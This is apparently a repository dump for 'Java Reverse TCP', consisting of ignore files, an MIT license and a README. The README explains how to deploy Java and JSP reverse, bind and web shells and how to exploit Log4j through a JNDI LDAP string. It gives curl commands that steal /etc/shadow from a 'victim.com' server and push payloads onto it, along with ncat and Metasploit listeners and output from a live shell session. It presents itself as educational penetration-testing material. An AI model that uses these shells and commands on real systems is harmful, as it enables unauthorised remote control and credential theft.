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# Auto detect text files and perform LF normalization | ||
* text=auto |
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#NetBeans | ||
**/nbproject/private/ | ||
**/nbproject/Makefile-*.mk | ||
**/nbproject/Package-*.bash | ||
build/ | ||
nbbuild/ | ||
dist/ | ||
nbdist/ | ||
.nb-gradle/ | ||
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# Compiled class file | ||
*.class | ||
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# Log file | ||
*.log | ||
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# BlueJ files | ||
*.ctxt | ||
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# Mobile Tools for Java (J2ME) | ||
.mtj.tmp/ | ||
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# Package Files # | ||
*.jar | ||
!/jar/*.jar | ||
*.war | ||
*.nar | ||
*.ear | ||
*.zip | ||
*.tar.gz | ||
*.rar | ||
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# virtual machine crash logs, see http://www.java.com/en/download/help/error_hotspot.xml | ||
hs_err_pid* | ||
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.gradle | ||
/build/ | ||
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# Ignore Gradle GUI config | ||
gradle-app.setting | ||
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# Avoid ignoring Gradle wrapper jar file (.jar files are usually ignored) | ||
!gradle-wrapper.jar | ||
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# Cache of project | ||
.gradletasknamecache | ||
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# # Work around https://youtrack.jetbrains.com/issue/IDEA-116898 | ||
# gradle/wrapper/gradle-wrapper.properties | ||
/src/Reverse.Shell/target/ | ||
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target/ | ||
pom.xml.tag | ||
pom.xml.releaseBackup | ||
pom.xml.versionsBackup | ||
pom.xml.next | ||
release.properties | ||
dependency-reduced-pom.xml | ||
buildNumber.properties | ||
.mvn/timing.properties | ||
.mvn/wrapper/maven-wrapper.jar | ||
/src/Reverse Shell/nbproject/private/ | ||
/src/Reverse Shell/build/ | ||
/src/Reverse Shell/dist/ | ||
/src/Bind Shell/nbproject/private/ | ||
/src/Bind Shell/build/ | ||
/src/Bind Shell/dist/ | ||
/src/Web Shell/nbproject/private/ | ||
/src/Web Shell/build/ | ||
/src/Web Shell/dist/ |
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MIT License | ||
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Copyright (c) 2021 Ivan Šincek | ||
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Permission is hereby granted, free of charge, to any person obtaining a copy | ||
of this software and associated documentation files (the "Software"), to deal | ||
in the Software without restriction, including without limitation the rights | ||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell | ||
copies of the Software, and to permit persons to whom the Software is | ||
furnished to do so, subject to the following conditions: | ||
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The above copyright notice and this permission notice shall be included in all | ||
copies or substantial portions of the Software. | ||
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THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR | ||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, | ||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE | ||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER | ||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, | ||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE | ||
SOFTWARE. |
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# Java Reverse TCP | ||
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JAR, JSP, and Java files for communicating with a remote host. | ||
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Remote host will have a full control over the client and all the underlying system commands. | ||
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Works on Linux OS and macOS with `/bin/sh` and Windows OS with `cmd.exe`. Program will automatically detect an underlying OS. | ||
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Works with both `ncat` and `multi/handler`. | ||
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Built with JDK v8 on Apache NetBeans IDE v17 (64-bit). All the files require Java SE v8 or greater to run. | ||
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JAR and Java files were tested with Java v8 update 282 on Windows 10 Enterprise OS (64-bit) and Kali Linux v2023.1 (64-bit). | ||
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JSP scripts were tested on Apache Tomcat Version v7.0.100 on XAMPP for Windows v7.4.3 (64-bit). | ||
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Made for educational purposes. I hope it will help! | ||
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## Table of Contents | ||
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* [JAR Shells](#jar-shells) | ||
* [Log4j Shells](#log4j-shells) | ||
* [JSP Shells](#jsp-shells) | ||
* [JSP Reverse Shell](#jsp-reverse-shell) | ||
* [JSP Web Shells](#jsp-web-shells) | ||
* [JSP File Upload/Download Script](#jsp-file-uploaddownload-script) | ||
* [Case 1: Upload the Script to the Victim’s Server](#case-1-upload-the-script-to-the-victims-server) | ||
* [Case 2: Upload the Script to Your Server](#case-2-upload-the-script-to-your-server) | ||
* [Set Up a Listener](#set-up-a-listener) | ||
* [Runtime](#runtime) | ||
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## JAR Shells | ||
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Check the source code of JAR files: | ||
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* [/src/Reverse Shell/src/reverse/shell/ReverseShell.java](https://github.com/ivan-sincek/java-reverse-tcp/blob/main/src/Reverse%20Shell/src/reverse/shell/ReverseShell.java) | ||
* [/src/Reverse Shell/src/reverse/shell/BindShell.java](https://github.com/ivan-sincek/java-reverse-tcp/blob/main/src/Bind%20Shell/src/bind/shell/BindShell.java) | ||
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--- | ||
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Open your preferred console from [/jar/](https://github.com/ivan-sincek/java-reverse-tcp/tree/main/jar) and run the following commands: | ||
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```fundamental | ||
java -jar Reverse_Shell.jar 192.168.8.185 9000 | ||
java -jar Bind_Shell.jar 9000 | ||
``` | ||
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## Log4j Shells | ||
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This PoC was tested on Kali Linux v2021.4 (64-bit). | ||
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**Change the IP address and port number inside the source files as necessary.** | ||
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Open your preferred console from [/log4j/](https://github.com/ivan-sincek/java-reverse-tcp/tree/main/log4j) and run the following commands: | ||
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Compile the source file: | ||
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```fundamental | ||
javac ReverseShell.java | ||
``` | ||
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Start a local web server from the same directory as the compiled class file (i.e. `ReverseShell.class`): | ||
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```fundamental | ||
python3 -m http.server 9090 | ||
python3 -m http.server 9090 --directory somedirectory | ||
``` | ||
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Download and build LDAP server: | ||
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```bash | ||
apt-update && apt-get install maven | ||
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git clone https://github.com/mbechler/marshalsec && cd marshalsec && mvn clean package -DskipTests && cd target | ||
``` | ||
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Start a local LDAP server and create a reference to the compiled class file on your local web server: | ||
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```fundamental | ||
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:9090/#ReverseShell | ||
``` | ||
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Credits to the author for [marshalsec](https://github.com/mbechler/marshalsec)! | ||
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Give the local LDAP server a public domain with [ngrok](https://ngrok.com): | ||
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```fundamental | ||
./ngrok tcp 1389 | ||
``` | ||
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Build the JNDI string (obfuscate it however you like): | ||
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```fundamental | ||
${jndi:ldap://x.tcp.ngrok.io:13337/ReverseShell} | ||
``` | ||
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## JSP Shells | ||
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### JSP Reverse Shell | ||
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**Change the IP address and port number inside the script as necessary.** | ||
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Copy [/jsp/jsp_reverse_shell.jsp](https://github.com/ivan-sincek/java-reverse-tcp/blob/main/src/Web%20Shell/web/jsp_reverse_shell.jsp) to your projects's root directory or upload it to your target's web server. | ||
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Navigate to the file with your preferred web browser. | ||
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### JSP Web Shells | ||
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Check the [simple JSP web shell](https://github.com/ivan-sincek/java-reverse-tcp/blob/main/src/Web%20Shell/web/simple_jsp_web_shell_post.jsp) based on HTTP POST request. | ||
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Check the [simple JSP web shell](https://github.com/ivan-sincek/java-reverse-tcp/blob/main/src/Web%20Shell/web/simple_jsp_web_shell_get.jsp) based on HTTP GET request. You must [URL encode](https://www.urlencoder.org) your commands. | ||
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## JSP File Upload/Download Script | ||
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Check the [simple JSP file upload/download script](https://github.com/ivan-sincek/java-reverse-tcp/blob/main/src/Web%20Shell/web/files.jsp) based on HTTP POST request for file upload and HTTP GET request for file download. | ||
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When downloading a file, you should [URL encode](https://www.urlencoder.org) the file path, and specify name of the output file. | ||
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### Case 1: Upload the Script to the Victim’s Server | ||
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Navigate to the script on the victim's server with your preferred web browser, or use cURL from you PC. | ||
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Upload a file to the victim's server web root directory from your PC: | ||
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```fundamental | ||
curl -s -k -X POST https://victim.com/files.jsp -F file=@/root/payload.exe | ||
``` | ||
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Download a file from the victim's PC to your PC: | ||
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```fundamental | ||
curl -s -k -X GET https://victim.com/files.jsp?file=/etc/shadow -o shadow | ||
``` | ||
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If you use reverse shell and you have elevated your initial privileges, this script might not have the same privileges as your shell. To download a certain file, you might need to copy the file to the web root directory and give it necessary read permissions. | ||
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### Case 2: Upload the Script to Your Server | ||
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From your JSP reverse shell, run the following cURL commands. | ||
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Upload a file from the victim's PC to your server web root directory: | ||
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```fundamental | ||
curl -s -k -X POST https://your-server.com/files.jsp -F file=@/etc/shadow | ||
``` | ||
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Download a file from your PC to the victim's PC: | ||
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```fundamental | ||
curl -s -k -X GET https://your-server.com/files.jsp?file=/root/payload.exe -o payload.exe | ||
curl -s -k -X GET https://your-server.com/payload.exe -o payload.exe | ||
``` | ||
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## Set Up a Listener | ||
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To set up a listener, open your preferred console on Kali Linux and run one of the examples below. | ||
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Set up `ncat` listener: | ||
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```fundamental | ||
ncat -nvlp 9000 | ||
``` | ||
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Set up `multi/handler` listener: | ||
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```fundamental | ||
msfconsole -q | ||
use exploit/multi/handler | ||
set PAYLOAD windows/shell_reverse_tcp | ||
set LHOST 192.168.8.185 | ||
set LPORT 9000 | ||
exploit | ||
``` | ||
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## Runtime | ||
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```fundamental | ||
┌──(root💀kali)-[~/Desktop] | ||
└─# ncat -nvlp 9000 | ||
Ncat: Version 7.93 ( https://nmap.org/ncat ) | ||
Ncat: Listening on :::9000 | ||
Ncat: Listening on 0.0.0.0:9000 | ||
Ncat: Connection from 192.168.1.117. | ||
Ncat: Connection from 192.168.1.117:49895. | ||
Microsoft Windows [Version 10.0.18363.1556] | ||
(c) 2019 Microsoft Corporation. All rights reserved. | ||
C:\Users\W10\Desktop\Reverse Shell>whoami | ||
desktop-4kniu10\w10 | ||
C:\Users\W10\Desktop\Reverse Shell>ver | ||
Microsoft Windows [Version 10.0.18363.1556] | ||
C:\Users\W10\Desktop\Reverse Shell> | ||
``` |
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